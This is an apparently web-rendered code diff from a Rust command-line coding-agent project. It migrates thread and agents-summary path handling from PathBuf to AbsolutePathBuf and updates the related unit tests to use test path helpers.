handler_type: codex_protocol::protocol::HookHandlerType::Command,
execution_mode: codex_protocol::protocol::HookExecutionMode::Sync,
scope: codex_protocol::protocol::HookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: test_path_buf("/tmp/hooks.json").abs(),
display_order: 0,
status: HookRunStatus::Running,
status_message: Some("checking output policy".to_string()),
+4 -2
View File
@@ -1116,7 +1116,7 @@ fn row_from_app_server_thread(thread: Thread) -> Option<Row> {
.map(|dt| dt.with_timezone(&Utc)),
updated_at: chrono::DateTime::from_timestamp(thread.updated_at, 0)
.map(|dt| dt.with_timezone(&Utc)),
cwd: Some(thread.cwd),
cwd: Some(thread.cwd.to_path_buf()),
git_branch: thread.git_info.and_then(|git_info| git_info.branch),
})
}
@@ -1640,6 +1640,8 @@ mod tests {
use super::*;
use chrono::Duration;
use codex_protocol::ThreadId;
use codex_utils_absolute_path::test_support::PathBufExt;
use codex_utils_absolute_path::test_support::test_path_buf;
use crossterm::event::KeyCode;
use crossterm::event::KeyEvent;
@@ -2676,7 +2678,7 @@ mod tests {
updated_at: 2,
status: codex_app_server_protocol::ThreadStatus::Idle,
path: None,
cwd: PathBuf::from("/tmp"),
cwd: test_path_buf("/tmp").abs(),
cli_version: String::from("0.0.0"),
source: codex_app_server_protocol::SessionSource::Cli,
agent_nickname: None,
+10 -5
View File
@@ -5,8 +5,8 @@ use crate::text_formatting;
use chrono::DateTime;
use chrono::Local;
use codex_protocol::account::PlanType;
use codex_utils_absolute_path::AbsolutePathBuf;
use std::path::Path;
use std::path::PathBuf;
use unicode_width::UnicodeWidthStr;
fn normalize_agents_display_path(path: &Path) -> String {
@@ -33,10 +33,11 @@ pub(crate) fn compose_model_display(
(model_name.to_string(), details)
}
pub(crate) fn compose_agents_summary(config: &Config, paths: &[PathBuf]) -> String {
pub(crate) fn compose_agents_summary(config: &Config, paths: &[AbsolutePathBuf]) -> String {
let mut rels: Vec<String> = Vec::new();
for p in paths {
let p = p.as_path();
let file_name = p
.file_name()
.map(|name| name.to_string_lossy().to_string())
@@ -187,6 +188,7 @@ mod tests {
use crate::legacy_core::DEFAULT_PROJECT_DOC_FILENAME;
use crate::legacy_core::LOCAL_PROJECT_DOC_FILENAME;
use crate::legacy_core::config::ConfigBuilder;
use codex_utils_absolute_path::test_support::PathBufExt;
use pretty_assertions::assert_eq;
use tempfile::TempDir;
@@ -229,7 +231,7 @@ mod tests {
let config = test_config(&codex_home, &cwd).await;
assert_eq!(
compose_agents_summary(&config, std::slice::from_ref(&global_agents_path)),
compose_agents_summary(&config, &[global_agents_path.abs()]),
format_directory_display(&global_agents_path, /*max_width*/ None)
);
}
@@ -242,7 +244,7 @@ mod tests {
let config = test_config(&codex_home, &cwd).await;
assert_eq!(
compose_agents_summary(&config, std::slice::from_ref(&override_path)),
compose_agents_summary(&config, &[override_path.abs()]),
format_directory_display(&override_path, /*max_width*/ None)
);
}
@@ -257,7 +259,10 @@ mod tests {
let summary = compose_agents_summary(
&config,
&[global_agents_path.clone(), project_agents_path.clone()],
&[
global_agents_path.clone().abs(),
project_agents_path.clone().abs(),
],
);
let mut paths = summary.split(", ");
assert_eq!(